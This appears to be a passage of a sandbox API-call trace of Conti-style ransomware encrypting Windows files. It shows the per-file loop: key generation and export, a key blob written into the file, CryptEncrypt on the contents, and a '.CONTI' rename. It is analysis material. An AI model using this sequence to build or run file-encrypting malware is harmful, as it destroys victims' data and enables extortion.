	[0096.865] WriteFile (in: hFile=0x398, lpBuffer=0x17d5d48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x17d5d48*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0096.865] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.865] CloseHandle (hObject=0x398) returned 1
	[0096.901] GetProcessHeap () returned 0x1720000
	[0096.901] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x1813868
	[0096.902] lstrcpyW (in: lpString1=0x1813868, lpString2="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx"
	[0096.902] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.CONTI"
	[0096.902] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.conti")) returned 1
	[0096.939] GetProcessHeap () returned 0x1720000
	[0096.939] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1813868 | out: hHeap=0x1720000) returned 1
	[0096.939] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0096.939] GetProcessHeap () returned 0x1720000
	[0096.939] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17405c8 | out: hHeap=0x1720000) returned 1
	[0096.939] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0099.167] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x17e8230 | out: phKey=0x17e8230*=0x17c7eb0) returned 1
	[0099.167] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e8234, pdwDataLen=0x587f8ac | out: pbData=0x17e8234*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0099.167] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml")) returned 0x20
	[0099.168] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0099.168] GetLastError () returned 0x0
	[0099.168] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=1974) returned 1
	[0099.168] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7b6
	[0099.168] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.168] SetEndOfFile (hFile=0x3a8) returned 1
	[0101.777] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.777] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.777] WriteFile (in: hFile=0x3a8, lpBuffer=0x17e8234*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x17e8234*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0102.641] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.641] ReadFile (in: hFile=0x3a8, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x7b6, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x7b6, lpOverlapped=0x0) returned 1
	[0102.642] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x7b6, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x7c0) returned 1
	[0102.642] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.642] WriteFile (in: hFile=0x3a8, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x7c0, lpOverlapped=0x0) returned 1
	[0102.642] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.642] WriteFile (in: hFile=0x3a8, lpBuffer=0x17e8228*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x17e8228*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0102.642] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.642] CloseHandle (hObject=0x3a8) returned 1
	[0103.366] GetProcessHeap () returned 0x1720000
	[0103.366] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6526018
	[0103.366] lstrcpyW (in: lpString1=0x6526018, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml"
	[0103.366] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.CONTI"
	[0103.366] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml.conti")) returned 1
	[0104.208] GetProcessHeap () returned 0x1720000
	[0104.208] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6526018 | out: hHeap=0x1720000) returned 1
	[0104.210] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0104.210] GetProcessHeap () returned 0x1720000
	[0104.210] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e3e58 | out: hHeap=0x1720000) returned 1
	[0104.210] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0107.368] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x17d5678 | out: phKey=0x17d5678*=0x17c7f70) returned 1
	[0107.368] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d567c, pdwDataLen=0x587f8ac | out: pbData=0x17d567c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0107.372] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml")) returned 0x20
	[0107.372] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0107.372] GetLastError () returned 0x0
	[0107.372] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=271) returned 1
	[0107.372] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0107.372] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.372] SetEndOfFile (hFile=0x3b0) returned 1
	[0107.373] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.374] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.374] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d567c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x17d567c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0107.375] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.375] ReadFile (in: hFile=0x3b0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x10f, lpOverlapped=0x0) returned 1
	[0107.375] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x10f, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x110) returned 1
	[0107.375] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.375] WriteFile (in: hFile=0x3b0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x110, lpOverlapped=0x0) returned 1
	[0107.375] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.375] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d5670*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x17d5670*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0107.376] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.376] CloseHandle (hObject=0x3b0) returned 1
	[0107.376] GetProcessHeap () returned 0x1720000
	[0107.376] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.376] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml"
	[0107.376] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.CONTI"
	[0107.376] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml.conti")) returned 1
	[0107.377] GetProcessHeap () returned 0x1720000
	[0107.377] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.377] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0107.377] GetProcessHeap () returned 0x1720000
	[0107.377] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cae8 | out: hHeap=0x1720000) returned 1
	[0107.377] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0108.063] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6514e38 | out: phKey=0x6514e38*=0x17c85b0) returned 1
	[0108.066] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6514e3c, pdwDataLen=0x587f8ac | out: pbData=0x6514e3c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0108.066] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.067] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0108.067] GetLastError () returned 0x0
	[0108.067] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=669) returned 1
	[0108.067] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x29d
	[0108.067] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.067] SetEndOfFile (hFile=0x384) returned 1
	[0108.067] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.067] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.067] WriteFile (in: hFile=0x384, lpBuffer=0x6514e3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x6514e3c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0108.069] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.069] ReadFile (in: hFile=0x384, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x29d, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x29d, lpOverlapped=0x0) returned 1
	[0108.069] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x29d, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2a0) returned 1
	[0108.069] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.069] WriteFile (in: hFile=0x384, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2a0, lpOverlapped=0x0) returned 1
	[0108.069] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.069] WriteFile (in: hFile=0x384, lpBuffer=0x6514e30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x6514e30*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0108.069] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.069] CloseHandle (hObject=0x384) returned 1
	[0108.069] GetProcessHeap () returned 0x1720000
	[0108.069] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.069] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml"
	[0108.070] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.070] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.070] GetProcessHeap () returned 0x1720000
	[0108.070] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.070] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0108.070] GetProcessHeap () returned 0x1720000
	[0108.070] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b498 | out: hHeap=0x1720000) returned 1
	[0108.071] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0108.384] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x17d4fa0 | out: phKey=0x17d4fa0*=0x17c7ab0) returned 1
	[0108.384] CryptExportKey (in: hKey=0x17c7ab0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4fa4, pdwDataLen=0x587f8ac | out: pbData=0x17d4fa4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0108.647] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0109.524] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\189__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\189__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0109.524] GetLastError () returned 0x0
	[0109.526] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=480) returned 1
	[0109.526] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0109.566] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.567] SetEndOfFile (hFile=0x320) returned 1
	[0109.597] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.597] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.597] WriteFile (in: hFile=0x320, lpBuffer=0x17d4fa4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x17d4fa4*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0109.599] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.599] ReadFile (in: hFile=0x320, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x1e0, lpOverlapped=0x0) returned 1
	[0109.599] CryptEncrypt (in: hKey=0x17c7ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1e0, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1f0) returned 1
	[0109.599] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.599] WriteFile (in: hFile=0x320, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x1f0, lpOverlapped=0x0) returned 1
	[0109.599] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.599] WriteFile (in: hFile=0x320, lpBuffer=0x17d4f98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x17d4f98*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0109.599] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.599] CloseHandle (hObject=0x320) returned 1
	[0109.599] GetProcessHeap () returned 0x1720000
	[0109.600] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65b8730
